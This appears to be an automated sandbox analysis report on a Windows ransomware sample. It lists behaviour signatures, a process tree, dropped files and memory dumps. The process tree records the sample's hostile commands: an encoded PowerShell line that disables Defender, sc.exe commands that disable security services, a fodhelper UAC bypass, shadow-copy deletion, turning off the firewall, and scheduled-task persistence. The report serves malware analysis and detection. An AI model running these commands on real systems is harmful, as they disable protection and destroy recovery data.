Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/10/2026, 15:20

General

  • Target
    2026-10-01_49efcfd76f1e45c925e23316eed27ca2_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 49KB
  • Sample261002-sqrhlsch55
  • SHA256 088f776b6dcb59ebf985220cc5142e905edb5c3e350eeac7b18cd047309b4955
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Detects command variations typically used by ransomware 2 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 25 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-01_49efcfd76f1e45c925e23316eed27ca2_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-01_49efcfd76f1e45c925e23316eed27ca2_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Checks computer location settings
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4320
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3952
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:2676
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3716
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:4416
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:1572
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:2780
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:3288
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:2816
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3540
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1980
      • C:\Users\Admin\AppData\Local\Temp\2026-10-01_49efcfd76f1e45c925e23316eed27ca2_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-10-01_49efcfd76f1e45c925e23316eed27ca2_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:712
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:2312
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-10-01_49efcfd76f1e45c925e23316eed27ca2_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1440
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:748
        • C:\Windows\System32\Conhost.exe
          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          3⤵
            PID:712
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:4508
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious use of AdjustPrivilegeToken
            PID:2220
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4128
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:2436
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3716
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:612
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5000
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4336
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1140
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2324
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:3076
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3108
            • C:\Windows\System32\Conhost.exe
              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              3⤵
                PID:2816
              • C:\Windows\system32\ipconfig.exe
                ipconfig /all
                3⤵
                • Gathers network information
                PID:508
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:1852
              • C:\Windows\System32\Conhost.exe
                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                3⤵
                  PID:3952
                • C:\Windows\system32\NETSTAT.EXE
                  netstat -an
                  3⤵
                  • Gathers network information
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2596
              • C:\Windows\SYSTEM32\schtasks.exe
                "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-10-01_49efcfd76f1e45c925e23316eed27ca2_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
                2⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1152
              • C:\Windows\System32\wscript.exe
                "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                2⤵
                • Executes a VBScript file via the Windows Script Host.
                PID:5080
              • C:\Windows\System32\notepad.exe
                "C:\Windows\System32\notepad.exe"
                2⤵
                  PID:1600
                • C:\Windows\System32\vssadmin.exe
                  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                  2⤵
                  • Interacts with shadow copies
                  PID:3312
                • C:\Windows\System32\wbem\WMIC.exe
                  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                  2⤵
                  • Reads the TCP/IP host and domain name from the registry
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2828
                • C:\Windows\System32\net.exe
                  "C:\Windows\System32\net.exe" stop srservice
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3192
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop srservice
                    3⤵
                      PID:5048
                  • C:\Windows\System32\netsh.exe
                    "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                    2⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:4200
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:4172
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" stop i8042prt
                    2⤵
                    • Launches sc.exe
                    PID:3756
                    • C:\Windows\System32\Conhost.exe
                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      3⤵
                        PID:1572
                  • C:\Windows\system32\LogonUI.exe
                    "LogonUI.exe" /flags:0x0 /state0:0xa399d855 /state1:0x41c64e6d
                    1⤵
                    • Drops desktop.ini file(s)
                    • Modifies data under HKEY_USERS
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of SetWindowsHookEx
                    PID:1780
                  • C:\Users\Admin\AppData\Local\Temp\2026-10-01_49efcfd76f1e45c925e23316eed27ca2_destroyer_elex_glassworm_ngrbot_wannacry.exe
                    C:\Users\Admin\AppData\Local\Temp\2026-10-01_49efcfd76f1e45c925e23316eed27ca2_destroyer_elex_glassworm_ngrbot_wannacry.exe
                    1⤵
                      PID:4544
                    • C:\Users\Admin\AppData\Local\Temp\2026-10-01_49efcfd76f1e45c925e23316eed27ca2_destroyer_elex_glassworm_ngrbot_wannacry.exe
                      C:\Users\Admin\AppData\Local\Temp\2026-10-01_49efcfd76f1e45c925e23316eed27ca2_destroyer_elex_glassworm_ngrbot_wannacry.exe
                      1⤵
                        PID:220
                      • C:\Windows\system32\vssvc.exe
                        C:\Windows\system32\vssvc.exe
                        1⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3800

                      Network

                            MITRE ATT&CK Enterprise v16

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                            Downloads

                            ~ockScreen___1920_1080_notdimmed.tmp

                            • Path C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-240542094-4193773837-3211495583-1000\ReadOnly\LockScreen_O\~ockScreen___1920_1080_notdimmed.tmp
                            • Size 477KB
                            • SHA256 bd66bb010d71252fcc69674790343861328d03aac0394ce2a26adb0600c29720
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            doc_2.pdf

                            • Path C:\SystemVolumeInformation\doc_2.pdf
                            • Size 66KB
                            • SHA256 0d23ce9452f4f92d8153e52f9ac29e998d59676e9a8a016a3b7e500663a57585
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            2026-10-01_49efcfd76f1e45c925e23316eed27ca2_destroyer_elex_glassworm_ngrbot_wannacry.exe.log

                            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-10-01_49efcfd76f1e45c925e23316eed27ca2_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                            • Size 660B
                            • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                            • MD5 SHA1 SHA512 TLSH

                            __PSScriptPolicyTest_vvc2byqb.qzt.ps1

                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vvc2byqb.qzt.ps1
                            • Size 60B
                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                            • MD5 SHA1 SHA512 TLSH

                            createshortcut.vbs

                            • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                            • Size 309B
                            • SHA256 50e5dcb88b169a806e95b9c24c2ab2b73d55c68edb7fc35d3d809be3e3262cc0
                            • MD5 SHA1 SHA512 TLSH

                            del.bat

                            • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                            • Size 59B
                            • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                            • MD5 SHA1 SHA512 TLSH

                            makelnk.vbs

                            • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                            • Size 310B
                            • SHA256 9bd1124a7785fb889d3c89314a9458ae0d5a9d2f239f6fc85acbdf04ebc2fbf4
                            • MD5 SHA1 SHA512 TLSH

                            invoice_1.pdf

                            • Path C:\Users\Admin\Documents\invoice_1.pdf
                            • Size 66KB
                            • SHA256 28443af591637d3836bba493831f1babe852f8751812f78e2e4a8a6f66c2d7db
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            sysupdate.exe

                            • Path C:\Windows\System32\sysupdate.exe
                            • Size 49KB
                            • SHA256 088f776b6dcb59ebf985220cc5142e905edb5c3e350eeac7b18cd047309b4955
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            memory/1600-2250-0x0000026D28AA0000-0x0000026D28AA1000-memory.dmp

                            memory/3952-669-0x00000257DF120000-0x00000257DF142000-memory.dmp

                            memory/4320-15-0x000000001E2B0000-0x000000001E7D8000-memory.dmp

                            memory/4320-14-0x000000001E0E0000-0x000000001E2A2000-memory.dmp

                            memory/4320-1-0x00000000026C0000-0x00000000026D0000-memory.dmp

                            memory/4320-0-0x00000000003D0000-0x00000000003E2000-memory.dmp

                            memory/4320-2265-0x00000000026C0000-0x00000000026D0000-memory.dmp